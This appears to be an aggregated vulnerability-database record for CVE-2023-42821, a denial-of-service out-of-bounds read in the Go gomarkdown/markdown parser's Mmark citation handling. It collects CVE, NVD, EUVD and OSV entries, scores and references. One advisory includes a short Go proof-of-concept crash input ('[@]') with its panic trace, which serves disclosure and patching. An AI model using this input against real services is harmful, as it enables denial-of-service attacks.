{"id":"GO-2023-2074","revision":null,"records":[{"revision":"f20dcd40e5a4495ea767ff64e4bf067f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2023-42821","aliases":[],"title":"github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","state":0,"publishedAt":"2023-09-22T16:55:33.355+00:00","modifiedAt":"2024-09-24T19:27:42.779+00:00","affected":[{"ecosystem":"Vendor product","name":"markdown","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gomarkdown\",\n                    \"product\": \"markdown\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.0.0-20230922105210-14b16010c2ee\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2","https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940","https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-42821","license":"CVE Program Terms of Use","key":"cve-program:CVE-2023-42821","identifiers":["CVE-2023-42821"]},"retained":false,"historicalAffected":[]},{"revision":"a0dcb71ea9894eb584ae17768d8b7d1e","observedAt":"2026-11-19T02:37:03.706+00:00","statement":{"source":"euvd","id":"EUVD-2023-2549","aliases":["CVE-2023-42821","GHSA-m9xq-6h2j-65r2"],"title":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a8894…","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2","https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940","https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2023-2549","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 22, 2023, 4:55:33 PM","dateUpdated":"Sep 24, 2024, 7:27:42 PM"},"relatedAdvisories":[{"id":"msrc_CVE-2023-42821","title":"github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations","vulnerabilityIds":["CVE-2023-42821"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2023-2549","identifiers":["EUVD-2023-2549","CVE-2023-42821","GHSA-m9xq-6h2j-65r2"]},"retained":false,"historicalAffected":[]},{"revision":"307f65da2ecf4fad991aeddebc2d1498","observedAt":"2026-10-24T22:17:27.792+00:00","statement":{"source":"nvd","id":"CVE-2023-42821","aliases":[],"title":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a8894…","description":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.","state":0,"publishedAt":"2023-09-22T17:15:14.99+00:00","modifiedAt":"2026-06-17T06:24:35.577+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69","https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940","https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2023-42821","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-125"],"productCriteria":["cpe:2.3:a:gomarkdown:markdown:-:*:*:*:*:go:*:*"],"sourceDates":{"published":"2023-09-22T17:15:14.990","lastModified":"2026-06-17T06:24:35.577"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2023-42821","identifiers":["CVE-2023-42821"]},"retained":false,"historicalAffected":[]},{"revision":"d7a438cd576d4f079c81ddd3afd9b7ef","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-m9xq-6h2j-65r2","aliases":["CVE-2023-42821","GO-2023-2074"],"title":"Markdown vulnerable to Out-of-bounds Read while parsing citations","description":"### Summary\nParsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.\n\n### Details\nTo exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length.\n\nhttps://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"github.com/gomarkdown/markdown\"\n\t\"github.com/gomarkdown/markdown/parser\"\n)\n\nfunc main() {\n\text := parser.CommonExtensions |\n\t\tparser.Attributes |\n\t\tparser.OrderedListStart |\n\t\tparser.SuperSubscript |\n\t\tparser.Mmark\n\tp := parser.NewWithExtensions(ext)\n\n\tinp := []byte(\"[@]\")\n\tmarkdown.ToHTML(inp, p, nil)\n}\n```\n\n```bash\n$ go run main.go\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 1 [running]:\ngithub.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544\ngithub.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0\ngithub.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c\ngithub.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58\ngithub.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144\ngithub.com/gomarkdown/markdown/ast.WalkFunc(...)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580\ngithub.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c\ngithub.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c\ngithub.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})\n\t/Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30\nmain.main()\n\t/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c\nexit status 2\n```\n\n### Impact\nDenial of Service / panic\n","state":0,"publishedAt":"2023-09-22T19:59:49+00:00","modifiedAt":"2026-09-10T03:49:58.4549328+00:00","affected":[{"ecosystem":"Go","name":"github.com/gomarkdown/markdown","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20230922105210-14b16010c2ee"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2","https://nvd.nist.gov/vuln/detail/CVE-2023-42821","https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940","https://github.com/gomarkdown/markdown","https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69"],"sourceUrl":"https://github.com/advisories/GHSA-m9xq-6h2j-65r2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m9xq-6h2j-65r2","identifiers":["GHSA-m9xq-6h2j-65r2","CVE-2023-42821","GO-2023-2074"]},"retained":false,"historicalAffected":[]},{"revision":"3abe664225f8420fadd6b59f78df968c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2023-2074","aliases":["CVE-2023-42821","GHSA-m9xq-6h2j-65r2"],"title":"Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown","description":"Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown","state":0,"publishedAt":"2023-09-22T22:04:21+00:00","modifiedAt":"2024-05-20T16:03:47+00:00","affected":[{"ecosystem":"Go","name":"github.com/gomarkdown/markdown","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20230922105210-14b16010c2ee"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2","https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940"],"sourceUrl":"https://osv.dev/vulnerability/GO-2023-2074","license":"OSV · upstream source license applies","key":"osv:GO-2023-2074","identifiers":["GO-2023-2074","CVE-2023-42821","GHSA-m9xq-6h2j-65r2"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T04:24:37.1903365+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T04:24:37.1903365+00:00","lastSuccessAt":"2026-11-19T04:24:37.372166+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:37.3721666+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-0e69c6613585444f641c92f526100c36dd9cd3e99fef2d7247efc88cf506728d","complete":true,"records":428229,"lastAttemptAt":"2026-11-19T04:22:50.7413942+00:00","lastSuccessAt":"2026-11-19T04:22:50.7221018+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:22:50.7413942+00:00","snapshotPublishedAt":"2026-11-19T03:23:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-eed1ef18663c45929f7d7e7a714a8e59","complete":false,"records":13861,"lastAttemptAt":"2026-11-19T04:31:06.4268449+00:00","lastSuccessAt":"2026-11-19T04:31:06.423+00:00","error":"148 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-19T04:31:06.423+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13703,"expectedIdentifiers":13908,"failedIdentifiers":148},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T04:24:37.1903365+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T04:24:37.1903365+00:00","lastSuccessAt":"2026-11-19T04:24:38.0697004+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:38.0697013+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-84b4b212d7ef41cb9ec24b71e9d8e5d8","complete":true,"records":13873,"lastAttemptAt":"2026-11-19T04:24:39.3964736+00:00","lastSuccessAt":"2026-11-19T04:24:39.391+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:39.391+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13908,"expectedIdentifiers":13908,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-76574c95b6792d47ba90af64983ed5843633f14426346d676016e94a5f383202","complete":true,"records":9963,"lastAttemptAt":"2026-11-19T04:24:37.034158+00:00","lastSuccessAt":"2026-11-19T01:24:31.4213722+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:37.034158+00:00","snapshotPublishedAt":"2026-11-19T01:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T04:22:50.8981544+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:22:50.8981544+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-c0d9c71c6fa06d617f979e7bec0d97aca70ca5aea1558184002f8e44516f2fac","complete":true,"records":3177,"lastAttemptAt":"2026-11-19T04:24:37.1431899+00:00","lastSuccessAt":"2026-11-18T21:25:09.5127964+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:37.1431899+00:00","snapshotPublishedAt":"2026-11-18T21:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2556fa291ec863b7fd77332e55dcff5569878e06b48ea32c182e52878cdd1ce8","complete":true,"records":232702,"lastAttemptAt":"2026-11-19T04:24:36.8996689+00:00","lastSuccessAt":"2026-11-19T04:24:35.8955272+00:00","error":null,"lastVerifiedAt":"2026-11-19T04:24:36.8996689+00:00","snapshotPublishedAt":"2026-11-19T03:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}